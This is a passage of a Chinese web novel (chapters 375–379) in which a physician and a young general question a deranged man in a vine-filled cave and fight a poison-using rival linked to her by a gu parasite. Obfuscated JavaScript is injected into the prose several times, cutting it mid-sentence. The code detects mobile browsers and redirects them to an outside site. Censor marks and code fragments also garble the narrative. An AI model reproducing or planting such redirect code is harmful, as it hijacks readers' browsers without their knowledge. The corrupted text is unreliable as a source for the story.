“没有伤筋动骨,都是皮外伤,我卡着力道呢!”霍青行冲她笑,“没那么蠢,真的让自己变成残废。这要是真的伤着,我怎么来找你?” 以后,还得保护她呢! 绷带上有血,应该是在山洞里动手的缘故,伤口肯定是裂开了。 “我看看!”陈识月小心翼翼的为他解开绷带。 染血的绷带,内里裹着略有些溃烂的伤口,应该是他一路奔波赶来,伤口开裂了数次,又混合了血渍和汗渍,捂得伤口重新发炎了。 伤口一直没得到妥善的处理,所以…… “你不想要这条腿了?”陈识月眸色微红,“霍青行,你真是个疯子! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131098|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 这条腿要是再这样不管不顾下去,等出了山再诊治,怕是这半条腿都得烂去半边。 “为了月儿,我也不能让自己成为一个瘸子!行军打仗之人,不可能连这点应付能力都没有,放心吧!”霍青行从袖中掏出一些乱七八糟的瓶瓶罐罐。 看得陈识月是一愣又一愣,拿起瓶瓶罐罐凑到鼻尖轻嗅,大概就明白了他的意思。 “来的时候我就想到了,你可能带了不少随身之物,但我瞧着你小院里还有不少,觉得可以再给你带上一些,就托了白公子帮忙看看,能用的有用的,我都带了些。”霍青行不是太懂医理。 但是白家是开回春堂的,自然是略懂略懂。 伤药,**,解药…… 感觉能用上的,悉数带上。 带身上不占什么分量,用的时候还得谢天谢地。 陈识月的眼底有星光闪烁,“你怎么知道,我正缺这些!” “因为你是月大夫啊!”霍青行笑着将东西都推到她跟前,“打起来的时候,我也刻意护着,这些瓶瓶罐罐都是你的心头好,也有一些是白老爷他们给的,我也不懂什么跟什么,反正你看着用。” 陈识月连连点头。 没关系,他不懂怎么用,她懂! 即便很多东西都混合在一起,但她闻着味就能分辨出来,这下不是巧妇难为无米之炊,而是欢天喜地的及时雨。 “我得先为你去了腐肉,然后重新上药。”陈识月解释,“不然你这伤口好不了。” 霍青行点头,“你看着办,我不疼。” “好!”陈识月现在没功夫管山洞里的事情,她知道霍青行是不会瞒着她的,所以不急于一时,先处理了他的腿伤再说。 这条腿,必须好好的! 刮腐肉的时候,霍青行的额头满是冷汗,可目光却一瞬不瞬的盯着陈识月,仿佛怎么都看不够,尤其是她这认真又专注的表情,全都烙在了他的心尖上。 处理完了霍青行的伤口,陈识月额角的冷汗才算彻底下来,长长吐出一口气,“接下来要小心谨慎,虽然上了金疮药,但愈合需要时间。” “知道。”霍青行乖顺点头。 陈识月将东西收起来,“洞里是怎么回事?” 第三百七十五章 她若**,他必递刀 说起山洞里的状况,霍青行有些犹豫。 “若是不方便说,那便不说吧,我也不是非要知道,只是这里面的食人藤还是得当心,怕就怕哪天里面养不活了,钻出来伤及无辜。又或者,哪日为有心之人利用。”陈识月这话刚说完,就听得霍青行长叹一声。 哟,这还真有事? “那人的功夫有些熟悉,我似乎是在哪儿见过。”霍青行犹豫了片刻,其后回过神来,“那人似乎有点……” 霍青行指了指自己的脑袋,那意思已经很明显了。 陈识月一怔,“脑子不好?” “嗯!”霍青行点点头,“我试了一下,发现他真的有点脑子不太好,说话的时候会前言不搭后语,甚至于不太会说话,咬字都是磕磕绊绊的。” 闻言,陈识月皱起眉头,“按理说这满洞内的食人藤都是他养的,不至于是个傻子啊!” “也许不是傻子,而是因为某种原因,导致的脑子不清楚,你是大夫,应该知晓有多少种缘由会导致这样的结果?”霍青行发散思维。 陈识月仔细的想了想,的确有这样的可能,只不过当时山洞内太黑,她未来得及仔细观察,可看得出来,那个黑影出手的时候略显佝偻,若是因为旧伤导致,所以身形和脑子都出了问题,那就说得过去了。 “能养出食人藤的……应不是泛泛之辈,这东西要么长于深山老林之中,要么为关外所有,要想养……首先你得有这个能力,拿到种子或者是子藤。”陈识月分析,“这人……怕不是寻常人。” 废物三兄弟说了,这怪人一直在山洞里待着,可见不会轻易出来。 “可能不是长乐门的人。”霍青行道,“但我还是觉得,有些熟悉。” 陈识月皱起眉头,“熟悉?不会是熟人吧?” “太黑了,看不清楚。”霍青行也不敢肯定,“对方可能也认出了我的路数,交了几次手就跑了,这山洞内全是食人藤,我当时险些被藤蔓缠住,只能就此作罢!” 对方认出来了? 那就说明神志没有完全迷糊,还是留有一线清醒的,只是……可能因为某种原因,控制不住他自己。 “他似乎有点怕我。”霍青行又补充了一句。 陈识月回过神来,更觉得不可思议了,“怕你?” 霍青行郑重其事的点点头,“对!” 这还真是出乎意料。 陈识月抬眸看向洞口,转而又跟霍青行对视。 “等明日,我再进去看看。”霍青行知道她的意思。 眼下天黑,诸事不宜。 “嗯!”陈识月点点头。 不过…… “你方才做噩梦了?”霍青行问。 陈识月面色微变,“是,也不是。” 霍青行:“……” “的确是噩梦,但这噩梦却很真实,在这里有一个人,他身上也有蛊虫,且我与他的蛊虫为子母蛊。你明白子母蛊的意思吗?”陈识月素来长嘴,可不会刻意藏着掖着。 子母蛊? 霍青行知道。 “我是母蛊,他是子蛊。”陈识月音色微沉,可见这事压在心里,委实不舒服,“他现在知道了我的存在,可能会纠缠上我,身边还养着一条大蛇,那蛇很大……兴许会藏在某个地方,突然发动袭击。” 霍青行环顾四周,“你觉得他现在……在找你的路上?” “嗯!”陈识月点头,“正是因为感知到了他的靠近,我才会做噩梦,一下子惊醒。我不喜欢他的靠近,像是对待猎物一般的疯癫,简直就是病态!” 霍青行握住她的手,“莫忧,现在有我在,绝不会让那人靠近你分毫。” 陈识月轻轻的靠在他肩头,“有你在,我什么都不怕!何况,我为主,他为下,虽说能相互呼应,但他到底是奈何不了我。” 只是,会像吸血蚂蟥一样,一直跟着她不放…… 想想都觉得烦人! 但,无可奈何。 黑暗中,有一双眼睛直勾勾的盯着,周遭冷风瑟瑟,寒意密布。 冬梅绕了一圈,没在附近发现异常,便也稍稍放下心来,这才重新回到火堆旁,“倒是没发现什么异常,想来这不归林还是有些缘由的。” 长乐门的人不敢轻易进来,说明这不归林还真是有点门道! “怎么了?”瞧着陈识月站起身来,冬梅和霍青行同时出声。 陈识月面色不悦,“好像就在附近。” 他在找她,驱动了蛊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131099|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虫的力量,因为距离的问题,所以她有所感知。 以前**世上还有人能承受得了蛊虫的力量,所以从未往那一处想,如今知道了……就开始发疯,远距离倒是无法察觉,但是距离太近就会相互感应。 这,就是他口中的天生一对。 冬梅旋即持剑起身,“少将军,您保护姑娘,我去周围再看看!” “好!”霍青行示意一护卫也跟上。 两个人,有个照应。 那人神龙见首不见尾,能藏匿在黑暗中,必定不容小觑,得以防万一。 可惜的是,冬梅找了一圈,也没找到那人。 “该死的,藏得还挺好的?”冬梅咬牙切齿。 护卫低语,“会不会是姑娘想太多了,若是真的出现了,那长乐门的人不得跟着来?人多了势必有大动静,可这瞧着……也没什么动静呢!” “姑娘绝对不会说谎。”冬梅一口否决,“姑娘说的一定是真的。那人肯定就在附近,只不过在我们来之前,又悄无声息的藏了起来。” 只是,会藏在哪儿呢? “这地方黑漆漆的,一眼望去除了树还是树。”护卫皱起眉头,“先回去吧!” 找不到人也没办法,这毕竟是人家的地盘,何况那人诡异得很,他们也是交过手,若是真的动手……未必是那人的对手。 少将军,或许可以一搏。 见着冬梅回来,陈识月便明白,他们应该没找到踪迹。 “不妨事,那人诡异得很,找不到他才是寻常。”陈识月笑着宽慰,“看得出来,他在长乐门应该职位不小,说不定是个大人物。” 霍青行想了想,“说不定,他知道上柳居士的踪迹!” 眼前骤然一亮,陈识月含笑望着他。 巧了。 她与他的想法,不谋而合。 “他能闻着味来,必定会跟着我走,疯子的想法是不会受人左右的,但可以受蛊虫蛊惑。”陈识月压低了声音,“等到出了这山林,我要撬开他的嘴。” 霍青行似笑非笑的看着她,“到时候我给月儿递撬棍,再好的牙口,也得给我撬出点东西来。” “即使如此……那就多谢少将军了。”陈识月笑盈盈的回应。 第三百七十六章 他好像知道什么? 夜色沉沉。 翌日一早,陈识月再睁开眼的时候,天都大亮了,霍青行领着废物三兄弟,找了点吃的和水回来,迎上她略显惺忪的眸子,当即将水袋递上。 “喝口水,醒醒神。”霍青行蹲在她面前,“吃点东西活动一下筋骨,待会我就要进山洞里面,会一会这位半生不熟的熟人。我倒是真的想知道,他究竟是谁?” 陈识月赶紧起身,“我陪你。” “你有伤在身,即便是痊愈,却也得以防万一,还是在外面等我便是。”霍青行不想让她再进去,“何况你嗅觉太灵敏,这里面臭气熏天的,哪儿受得住?” 陈识月拍了拍身上的灰尘,“我若不陪着你,里面的蛇虫鼠蚁会要了你的命,他可不只是豢养了食人藤,还有不少毒虫。有我在,那些毒虫不敢近你的身。” “但是……” “就这么决定了。”陈识月不允他拒绝,“更何况,我不觉得外面比里面安全,只有在你身边才是真正的安全。” 她若有所思的看向周围,那意思已经很明显。 “我在冬梅身边,反而对冬梅他们不利。”陈识月心里不踏实,总觉得危险就在附近,但她又找不到那人的踪迹。 没办法,跟在霍青行的身边对大家都好。 “罢了!”霍青行拗不过她。 那就跟着吧! 吃了点东西,喝了点水,一切准备就绪之后,二人便决定再次进山洞。 这可把废物三兄弟给看傻眼了,“你们还进去啊?还怕不够死,还想再死一死?这山洞里的怪人那么可怕,你们怎么敢的?” “少废话!”冬梅狠狠剜了他们的一眼,“当好你们的废物便是,再敢插手我们的事情,就把你们吊树上?” 闻言,三人面面相觑,再也不敢多说什么。 陈识月与霍青行对视一眼,“冬梅,你们一定要看好外面,若是有什么异常,马上进洞。如果真的是那个怪人进来了,外面未必有里面安全。” “好!”冬梅颔首,“若是那人真的出来了,咱就大张旗鼓的进洞,反正不能便宜了那厮!” 要死,一起死。 纵然是死,也要拉个垫背的。 “走吧!”霍青行带着陈识月重新进了山洞。 一回生,二回熟。 山洞内依旧漆黑,霍青行举着火把走在前面,陈识月则小心跟在后面,二人缓步朝前走去,内里的臭味越发浓烈,食人藤似乎对二人的气味有些熟悉,这一次早早的动作起来,但谁也没有靠近。 “它们好像怕了我们?”霍青行瞧了一眼周围。 这谁知道呢? 及至山洞深处,身后的食人藤如同蜘蛛网一般,快速结成了一堵墙,直接将内外都隔离开来,不知道是放着外面的人,还是为了留住洞内的二人。 陈识月与霍青行对视一眼,顿了顿脚步就继续往前走了。 蓦地,陈识月忽然拽了霍青行一把。 霍青行心下一紧。 不远处,传来了咯吱咯吱的声音,仿佛是有什么东西在撕咬,在啃咬。 牙齿与硬物碰撞,然后在嘴里咀嚼。 这声音听得人汗**直立,止不住头皮发麻。 怎么回事? 什么东西在啃咬? 霍青行循声找过去,做好了动手的准备。 陈识月小心翼翼的跟在霍青行的身后,他注视前方的时候,她就盯着后方与周围,免他后顾之忧。 食人藤发出窸窸窣窣的声音,似乎是想拦阻什么,但又碍于陈识月,只能在边上挪动,仿佛在观望,又像是保护着什么。 终于,陈识月和霍青行都明白了,这些食人藤想干什么? 一道黑影就这么蜷缩在角落里,周围陆陆续续有毒虫往他身边凑,然后便是他抓起那些毒虫就往嘴里送,咬得那叫一个嘎嘣脆。 生吃! 陈识月眉心突突跳,站在那里还半晌反应不过来。 就…… 就这样啊? 所以他在山洞里生活,就是靠生吃这些毒虫? 有人闯入,他自然是知道的,但此刻却是头也不抬,只顾着吃自个的虫子大餐,全然不去管陈识月与霍青行。 听着他“嘎吱嘎吱”的声音,陈识月只觉得头皮真真发麻,纵然她是个大夫,也生吃过不少东西,但是瞧着那密密麻麻的毒虫,看着他左手一只右手一只,一个劲的往嘴里送,这五脏六腑好似全翻滚了起来,几欲作呕。 别说是陈识月,饶是霍青行也是僵在原地,一时间没反应过来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16134969|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山洞内的臭味本就难闻,如今再加上毒虫临死之前放出的毒气,这味儿简直直冲天灵盖,让人险些窒息。 这乱七八糟的臭味,熏得人脑瓜子嗡嗡的。 回过神来,霍青行默默的将陈识月挡在身后,“前辈。” 他拱手揖礼。 他无动于衷。 陈识月皱起眉头,瞧着黑影疯狂啃食毒虫的样子,轻轻拽了拽霍青行。 “前辈功夫极好,晚辈此前有所得罪,还望前辈莫怪,不知道前辈尊姓大名?”霍青行也算是有礼,只是没得到对方的回应。 陈识月想了想,“应该不是聋子吧?” 这瞧着,也不像是聋子啊! “前辈?”霍青行自认为礼数周全,不知道对方是什么意思,“晚辈姓霍。” 嘎吱的声音,忽然就……戛然而止。 男人似乎在颤抖,嗓子里发出了奇怪的呜呜声,听不清楚在说什么,也可能只是单纯的呜咽,只瞧着他好像是受到了莫大的刺激,身子不断的往角落里躲去。 呜咽声,愈发大了些。 紧接着便是食人藤快速围拢上来,顷刻间将他包裹其中。 更确切的说,是把陈识月与霍青行阻挡在外,单方面的把黑影藏了起来。 他在怕他们? “前辈?”霍青行更加确信了心中所想,“你认识我们,对吗?晚辈姓霍,您知道是哪个霍吗?前辈,为什么不说话?你到底是谁?” 人藏在食人藤后面,半句话不说。 “前辈?”霍青行继续开口,“你是谁?” 陈识月也探出头来,“你认识多年前的金都府府尹吗?姓陈?” 呜咽声,好似更大了? 这是怎么了? “你都认识?”陈识月惊诧当场,“你都知道?” 食人藤越缠越紧,愣是没有露出半点缝隙。 “你到底是谁?”陈识月追问,“为什么不说话?你到底知道什么?” 霍青行摁住了陈识月,“不要着急,你越是着急,他越不敢出来,月儿,你冷静点!” 陈识月是有些急了,他说不定知道上柳居士是谁,找到了上柳居士,也许当年的国公府一案所有的内情……她怎能不急? “在下麟州霍氏。” 第三百七十七章 他知道,可他又疯了 气氛有那么一瞬的凝滞,然后传来了食人藤墙后的呜咽声。 好像是哭了? 不对,似乎是在嘶吼? 他的嗓子眼里好像堵着什么东西,发出了绝望的声音,犹如困兽一般,好似很痛苦,正在痛苦的挣扎着,这可把陈识月和霍青行给看懵了,一时间也不知道这怪人到底在干什么? 陈识月缓步上前,低低的喊了声,“你没事吧?” 食人藤略有些惧怕陈识月,见着她靠近,快速往两边撤了撤,但可能又因为主人的需求,慢慢的又缩回来挡在她跟前。 “你知道一些内情,对吗?”陈识月继续靠近,“关于当年的,国公府一案?镇国大将军,国公爷,还有潜龙关……” 最后三个字一出来,呜咽声忽然放大。 惊得陈识月登时一颤,所幸被霍青行搀了一把。 潜龙关? “你知道潜龙关战败之事?”霍青行脑瓜子里有什么东西,嗡的一声炸开,那是大煜朝历史上最惨烈的一战,那么多的将士,身后那么多的家庭,一夕之间全部支离破碎。 正是因为这一战,帝王勃然大怒,兴师问罪,最后牵连甚广,连同陈识月的父亲一道,都被问罪其中,最后所杀不止万众。 回过神来,霍青行看向那堵厚厚的藤墙,“你既然知晓一些内情,为什么要藏身在这里,如今可愿意说出实情?当年之事,颇多不合常理之处,但是帝王忌惮,震怒之下便是伏尸**,谁也不敢去触帝王的霉头,不敢让自己的家族牵连其中。” 当时的状况,谁敢为裴家求情,谁就是同谋。 唯一刚仗义执言的,大概就是霍家了! 帝王铲除了裴家,断然不敢再动霍家,这就是霍家的底气。 边关数十万的大军,都在霍老将军的手里,底下兄弟、儿孙,几乎全都是战死沙场,所以到了现在,也就只剩下霍青行这么一位少将军。 霍家对朝廷对天下的功勋,便是皇帝都不敢小觑,他们是真的拿命、拿整个家族的性命,去保家卫国,去戍守边关,以至于最后人丁凋敝。 谁敢说,霍家有不臣之心? “潜龙关到底发生了何事?”霍青行步步紧逼,“你说话!你说话!” 那可是数十万将士的性命! 这真相,必须大白于天下。 国公府不能永远担着这罪名,为国为民的人,不能无辜惨死,不能冤死,不能就这么不明不白的长眠地下,得让全天下人都知道,他们是为国征战的勇士,而不是通敌叛国的腌臜东西。 藤墙后面的人,还在呜咽,仿佛是在哭…… “他好像哭了?”陈识月轻轻拽住了霍青行,“你别冲动。” 霍青行顿了顿,说实话,他方才的确是冲动了,委实有些没忍住,心里既激动又难受,所以一时间,有点没控制住。 那么多年了…… 要不是因为这件事,他和陈识月也不至于分别这么多年。 “我来问问。”陈识月缓步上前,食人藤又往边上退了退,“前辈,你知道那些事情,对吗?” 她声音温柔,循循善诱。 “我们都知道,这里面绝对有阴谋,当初潜龙关一战,那么多将士都死在了大漠里,黄沙埋骨未能归家,您知道他们有多想回家吗?”陈识月蹲下来,“前辈,他们也是好人家的儿女,家里也有父母妻儿在等着!死在那荒芜之处,连一个真相都不配得到吗?” 里面只剩下低哑的呜咽,仍是没有任何的反应。 “前辈,我们都还在努力,让一切真相大白于天下,不至于让好人寒心,让真正为国为民之人,九泉之下也难安。”陈识月哽咽了一下,“您知道吗?当年这件事,还牵连了很多无辜的人,兵部尚书一家,兵部侍郎,户部、吏部,还有很多很多……” 说起这个,陈识月便想起了自己家。 “我们也知道,您出现在这里,肯定有您不得已的苦衷,又或者您也是被人所暗害至此,害怕是人之常情,求生是人的本能。只是,能否看在**那么多人的份上,看在那么多人之中也有您熟悉的,相知的朋友或者是亲人的份上,说出当**儿?哪怕是只言片语也好!” 陈识月继续劝着,那边似乎有了些许动静? “前辈?”陈识月低低的唤着,“若是您不愿意出面或者是什么的……晚辈可以代劳,若是这件事涉及了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16139559|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一些您不方便出手的地方,那您就不必出手,只需要说出来,其他的交给我们。我们绝对不会把您供出去,您看这样行吗?” 霍青行与陈识月对视一眼。 “我麟州霍氏,可以全权处置这些事情,绝不让您沾染半分,只要真相明了,您继续留在这里也好,来日出去也罢,不管您做什么,我们都不会干涉您,也不会有人能为难您。” 都说到这份上了,应该可以了吧? 心里忐忑,不确定这怪人的神志能否清醒一些? 毕竟他们都看出来了,这怪人的确有些神志不清,有些不太正常,不能用寻常人的思维去揣测他,尤其是不能太过刺激。 可都到了这地步,不说点什么,不做点什么,谁能甘心啊? 真相,似乎呼之欲出了…… “前辈?”霍青行低唤,“您在听吗?” 陈识月深吸一口气,“前辈,我们也是没办法了,这么多年蒙冤不白,九泉之下的英灵难安!您午夜梦回的就不怕他们上来找您吗?” 话音刚落,好像一棒槌敲在脑门上,男人的声音戛然而止,紧接着便是惊恐的喊叫,然后疯了似的冲出去来,疯疯癫癫的跑了。 “快,快追!”陈识月推了霍青行一把,“别管我!” 追啊! 如今最要紧的是让怪人开口,真相才是最要紧的,其他都可以暂时放一放…… “你跟上!”霍青行率先去追。 无论如何,先把人追回来再说。 那怪人就像是受了强烈的刺激,整个人都疯疯癫癫的,一会窜上一会满地爬,时不时的嘶吼着,像是有话说不出,又像是……二度发疯? “前辈!”霍青行冲上去,想要摁住他。 然而这怪人简直是力大如牛,霍青行倒是想摁住他,奈何他反抗得太厉害,直接将霍青行推了出去,若是对手,霍青行必定不会手下留情,可这……这兴许是最后的知情人,霍青行怎么敢真的下手? 一番纠缠,人没摁住,霍青行自己倒是摔得一身伤,再这样下去怕是不行…… “给!”陈识月将银针递给他,“肩胛。” “懂!” 第三百七十八章 他还是大意了 要不怎么说,二人是天生一对呢? 陈识月一句话,霍青行便知道该怎么做。 银针扎进去不过片刻,人便重重的栽倒在地,连哼都没带哼一声,只是落地的时候,惊动了周遭的食人藤,以至于食人藤当时躁动了片刻。 好在,最后都安分了下来。 “动作快点,我们出去。”陈识月略有些忌惮的看着周遭的食人藤。 霍青行当即把人背上,二话不说就朝着外头冲。 只是等他们出去之后,才发现…… “冬梅?” 陈识月心惊。 人呢? 外面怎么一个人都没有了? 出什么事情了吗? “冬梅?”陈识月连喊两声。 无人回应。 “不对劲,要小心!”霍青行心中的不安,越发浓烈。 该不会是冲着背上这人来的吧? 又或者…… “月儿,走!”霍青行几乎没太考虑,既然瞧出了不对劲,那就赶紧走,不能给任何人可趁之机。 然而,还是晚了一步。 没看见冬梅和三个护卫,也没瞧见废物三兄弟,只瞧见一条巨**忽然间从树上落下,直冲霍青行而来,速度之快,快如闪电。 阳光下,蛇鳞绽放着瘆人的寒芒。 陈识月心惊,“小心!” 霍青行的反应速度自然是极快的,蛇落下的那一刻,他已经背着人窜开,避开了巨**的攻击,转身间又稳稳的落在了陈识月的身侧。 把人放下之后,陈识月快速将手中剑递过去,“剑!” “长阴!”男人忽然开口,“回来!” 眼前人一身杀气,显然不是泛泛之辈,若是长阴跟他死磕,只怕是要死在他的手里,这厮眼神锐利,尤其是护犊子一般护着陈识月。 嗯。 很不舒服。 很不爽快。 巨**快速抽身而去,躲在了男人的身后。 黑衣斗篷,藏头露尾。 霍青行似乎是意识到了什么,止不住微眯起眸子,将陈识月挡得严严实实,“长乐门的走狗,耍这些个阴招又有什么用?有本事明刀明枪的来,藏头露尾算什么本事?” 男人不说话,只是那黑衣斗篷之下,似乎有一双眸子直勾勾的盯着陈识月,那是一种无法言说的欲念,看得人浑身不舒服。 陈识月躲在霍青行的身后,面色黑沉得厉害,她知道这人是冲着自己来的,心里的厌恶几乎无法掩饰,以至于霍青行都能感受到,来自于陈识月的呼吸微促。 她呀,生气了。 “你是何人?”霍青行冷剑在手,“我这剑要么对敌,要么对仇,不杀无名之辈。” 黑衣斗篷的男子伸手一指,意思很明显,他要陈识月,“把人给我,我就告诉你……我是谁?你应该对我是谁,很感兴趣才对。说不定抓住了我,对你……有很大的助益。” “你话都说到这份上了,我要是不抓你,似乎说不过去。既然是很大的助益,那么你是死是活就没那么要紧了。”霍青行冷笑两声。 男人退后两步,“冥顽不灵!” “他会用毒!”陈识月提醒,“莫要大意。” 霍青行面色微变,“用毒?” “外邦来的。”陈识月又道,“不是个好东西,会不择手段,你小心点。” 霍青行冷剑在手,“先试试。” 摸摸底。 陈识月能说出这些话,就足以说明,她在这人手里吃过亏,且吃过大亏,所以才会如此防范,既是连陈识月都吃过亏,那这人……留不得。 “他身上是子蛊。”陈识月补充一句。 霍青行都要迈开步子了,愣是被这一句给拘了回来,“杀了他,会对你有什么影响吗?” 他自信可以弄死这厮,但…… 媳妇是自个的,不能有所损伤。 “我不清楚。”陈识月是真的不清楚。 霍青行犹豫了,那这该不该杀? 罢了! 先不杀,留活口,只要留活口,哪怕此番他逃脱了,来日也会重新找上门,彼时把人一抓,严刑拷打之下必定会吐出真话。 下一刻,霍青行已经持剑出手。 许是没料到霍青行的功夫这么高,男人一开始还真是没怎么在意,以为霍青行与之前那些人差不多,可没想到只一招过后,他就吃了闷亏,被霍青行一剑划伤了胳膊。 巨**旋即冲出来搭救,却还是晚了一步,要不是它这坚硬的蛇鳞保护,只怕也要被霍青行一刀两断,劈成两截。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143754|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 有那么一瞬,男人似乎想明白了什么,“毒先生是你杀的?” 连同毒先生那几条蛇的惨死,也都是眼前这男人的手笔? “我管他什么毒先生还是医先生,只要敢为非作歹……就该死!”霍青行纵身而起,陡然间他袖中似乎有什么东西挥洒出来。 说时迟那时快,霍青行腕上一抖,登时剑花直出,愣是将气劲凝结于此,迅速将一股子东西全部反弹回去。 惊得男子连连后退,斗篷挥洒,这才避开了此劫。 待霍青行站稳,陈识月快速迎上去,“怎么样?有没有沾着什么?” 瞧着她一脸焦灼的模样,霍青行摇摇头,“他连我衣角都沾不着,你都提醒过我了,我岂能让他如愿?只不过,这小子如你所言,的确是个不择手段的腌臜东西,只敢暗戳戳的动手。” “没事就好。”陈识月松了口气。 怕就怕,霍青行吃暗亏。 “你是谁?”男人咬着牙,捂着受伤流血的胳膊,巨**也在他身侧盘踞着,不敢轻易出手,可想而知紧张无比,“你到底是谁?” 能伤他的人,其实并不多。 好俊俏的功夫! “我是谁……为何要告诉你?你都装模作样,我为何要坦白呢?”霍青行冷笑两声,若有所思的环顾四周,“不过嘛……给你两个选择,要么带着你的人,现在就滚!要么我就不客气了,你们所有人都给我留下,我就费点力气,让你们都在这不归林中一起长眠。” 陈识月深吸一口气,“莫怀疑,他有这个能力,你已经交过手,心里没数吗?” 男人退后两步。 的确是心里有数。 若是霍青行再度出手,这里的人都加起来,怕也不及他一人。 “试试?”霍青行瞧着他血淋淋的胳膊。 寒光剑,锋利无比,所向披靡。 男人嗤笑两声,“我们还会再见的,想走出这不归林,可没那么容易。你们以为这就赢了吗?呵,可笑!不过是蚍蜉撼树,且让你们得意一回,过不了多久,你们就笑不出来了!” “是吗?”霍青行忽然拂袖。 石子从手中脱出,顷刻间一黑影从树上落下,死死捂住了血流不止的脖颈,落地那一刻止不住的呜咽与挣扎,很快就咽了气。 第三百七十九章 抢媳妇的,一律杀无赦 霍青行的动作快准狠,没有任何的犹豫,及至人落地,咽了气,周遭那些蛰伏在暗处的长乐门人,才堪堪回过神来。 “别以为你们搞的那些小动作,我看不见!”霍青行冷剑在手,“这只是个教训,若是你们非要凑上来寻思,我也不介意你们都躺下。” 男人再度后退,他很清楚自己不是霍青行的对手,再多人冲上去,也只是徒劳,白送性命而已,但是又这般的不甘心,眼见着陈识月就在跟前,让他现在就放手,怎么甘心呢? 陈识月深吸一口气,瞧了一眼脚下的人,又看了看周围纷纷跳下来的长乐门众人,心里其实是忐忑的,毕竟到了这份上,万一真的动起手来,霍青行还得保护她与这怪人。 仿佛是想到了什么,男人好似忽然来了精神,冷不丁拂袖,一支冷箭直逼陈识月而去。 说是迟那时快,霍青行当即提剑。 一剑下去,冷箭当场圻断。 却在圻断的那一瞬间,忽然有白烟自箭管子里弹射而出。 “小心!”陈识月慌忙推开了霍青行。 那烟雾不偏不倚,直接喷在了陈识月的身上。 “月儿?”霍青行心惊。 陈识月:“……” 毒烟。 白色的毒烟以最快的速度进入了陈识月的体内,顷刻间的疲软与浑身刺痛,让她快速瘫跪在地,死死捂住了心口位置。 钻心的痛,令人难以忍受…… “月儿!” 霍青行惊呼,快速蹲下来托住了她。 这是……**了? “没事!”陈识月呼吸急促,面色已呈绛紫色,“死不了……” 不可能有事。 “你是不是疯了?可以为了他**?”男人歇斯底里的怒喝,似乎已经愤怒到了极点,“真是疯了!疯了!我们才是天生的一对,你不知道天底下没有比你我更登对的人吗?子母蛊,合该永远在一起的。” 蛊虫有蛊惑人心的力量,可惜的是……他是子蛊。 母蛊,在陈识月的身上。 霍青行猛地转头看向陈识月,这意思便是……这二傻子肖想你? 陈识月点点头,答对了! “夺**子,该死!”霍青行忽然就冲了上去。 这股子劲儿,大有今日……不是你死就是我亡的意思,底下人慌忙围上来拦阻,却都当了霍青行的剑下亡魂。 技不如人可以服输,但是夺他的月儿,决不可饶恕! 陈识月愕然,瞧着霍青行大开杀戒的样子,**,血溅三尺,他下手快准狠,可以一当百,力拔山河之势,谁敢上前送死? 大概没料到,霍青行会忽然暴起,众人都有些懵逼,等刀子架在脖子上,鲜血糊了一脸,所有人这才反应过来,奈何为时已晚。 “长阴,走!” 一声令下,巨**忽然卷起了男人,快速消失在眼前。 霍青行倒是想追,但想起陈识月还在后面,只能先行解决了这些人再说。 **都走了,这些人哪儿还敢多停留,撒丫子就跑了。 “阿行!”陈识月疾呼,“别追了!” 冬梅他们不见了,肯定是有缘故的,眼下身边还有个晕死过去的怪人,他们分身乏术。 且,穷寇莫追。 “冬梅他们不知道去了何处,我估计是出事了。”陈识月和面露担忧,“冬梅功夫好,按理说不可能毫无踪迹。” 肯定出事了! 